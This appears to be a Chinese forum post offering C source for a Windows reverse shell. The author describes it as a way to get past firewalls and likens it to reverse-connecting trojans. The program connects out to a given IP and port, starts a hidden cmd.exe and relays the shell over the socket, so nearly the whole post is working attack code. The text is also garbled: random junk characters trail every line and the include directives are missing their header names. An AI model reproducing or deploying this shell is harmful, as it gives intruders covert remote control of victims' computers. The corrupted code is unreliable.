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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i4C b&h^  
BCB/cBE  
/* ============================== <a}|G1 h  
Rebound port in Windows NT `mTxtuid{  
By wind,2006/7 `l#$l3v+  
===============================*/ QHz76i!=>  
#include p<['FRf"  
#include 7%}}m&A7h  
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#pragma comment(lib,"wsock32.lib") : 2d9ZDyD  
5F?g6?j{  
void OutputShell(); 9f[[%80  
SOCKET sClient; hRcJ):Wyb  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A'R sy6  
#e|kA&+8M  
void main(int argc,char **argv) B y8Tw;aL  
{ =W^L8!BE'  
WSADATA stWsaData; Z6ex<[`I  
int nRet; ?kefRev<#h  
SOCKADDR_IN stSaiClient,stSaiServer; <4bo7XH  
.]l2)OlLQ  
if(argc != 3) Ci:QIsu*  
{ D4-U[l+K>  
printf("Useage:\n\rRebound DestIP DestPort\n"); -iX!F~qS,  
return; ~H~4 fp b  
} ~[,TLg 6  
J0plQDe  
WSAStartup(MAKEWORD(2,2),&stWsaData); +zPg`/  
R7b*(33  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f|E'eFrFk  
0~+:~$VrT  
stSaiClient.sin_family = AF_INET; tC~itU=V  
stSaiClient.sin_port = htons(0); 0R%58,R  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); x"T^>Q  
?OdA`!wE  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \Nyxi7  
{ l'f!za0  
printf("Bind Socket Failed!\n"); bJ}+<##  
return; &N nMz9  
} q0<`XDD`  
EZW?(%b>H  
stSaiServer.sin_family = AF_INET; h2 <$L  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pU/.|Sh  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4w[ta?&6B  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~'mhC46d  
{ LvdMx]*SSr  
printf("Connect Error!"); @h3)! #\ N  
return; 'm:B(N@+  
} |sAg@kM  
OutputShell();   {`  
} Inoou 'jX  
+y(h/NcQ  
void OutputShell() v[GHqZ  
{ g/gLG:C  
char szBuff[1024]; Rgu^> ~   
SECURITY_ATTRIBUTES stSecurityAttributes; &[pw LYf7  
OSVERSIONINFO stOsversionInfo; mYX) =B{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; $Yc9><i  
STARTUPINFO stStartupInfo; ^f]pK&MAmN  
char *szShell; WLb7]rCTp  
PROCESS_INFORMATION stProcessInformation; @I:&ozy }=  
unsigned long lBytesRead; }hxYsI"d  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;wZ.p"T9^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); v2R:=d ')>  
stSecurityAttributes.lpSecurityDescriptor = 0; 6 [E"  
stSecurityAttributes.bInheritHandle = TRUE; ^u{$$.&  
+=4b5*+qG  
9b6h!(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "Q4{6FH+mB  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \PJ89u0  
iL<O|'be  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I^=M>_ s4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "?-s Qn  
stStartupInfo.wShowWindow = SW_HIDE; eH6cBX#P.  
stStartupInfo.hStdInput = hReadPipe; i9tM]/SP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L zC~>Uj  
O*7 pg  
GetVersionEx(&stOsversionInfo); )-gyDA  
V-0Y~T  
switch(stOsversionInfo.dwPlatformId) va<pHSX&I@  
{ rD gl@B3  
case 1: l"CONzm!  
szShell = "command.com"; |Sm/Uq(c  
break; 8qveKS]vZ  
default: zT8K})#  
szShell = "cmd.exe"; T8LwDqio  
break; F_`Gs8- VH  
} iDr0_y*t  
we3t,?`rk7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  3@*8\  
u#<]>EtbB  
send(sClient,szMsg,77,0); 1)y}.y5S  
while(1) (X/JXu{  
{ "^`AS"z'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m{|n.b  
if(lBytesRead) Q>$v~v?9  
{ 3V]a "C   
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |>)mYLN!y  
send(sClient,szBuff,lBytesRead,0); gC.T5,tn  
} qI9 BAs1~}  
else lKcnM3n  
{ 6*tGf`Pfdw  
lBytesRead=recv(sClient,szBuff,1024,0); *RhdoD|a  
if(lBytesRead<=0) break; .E(Ucnz/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q=U=Y n  
} hE${eJQ| U  
} fqxMTTg@  
ryP z q}#  
return; p{Uro!J,K  
}
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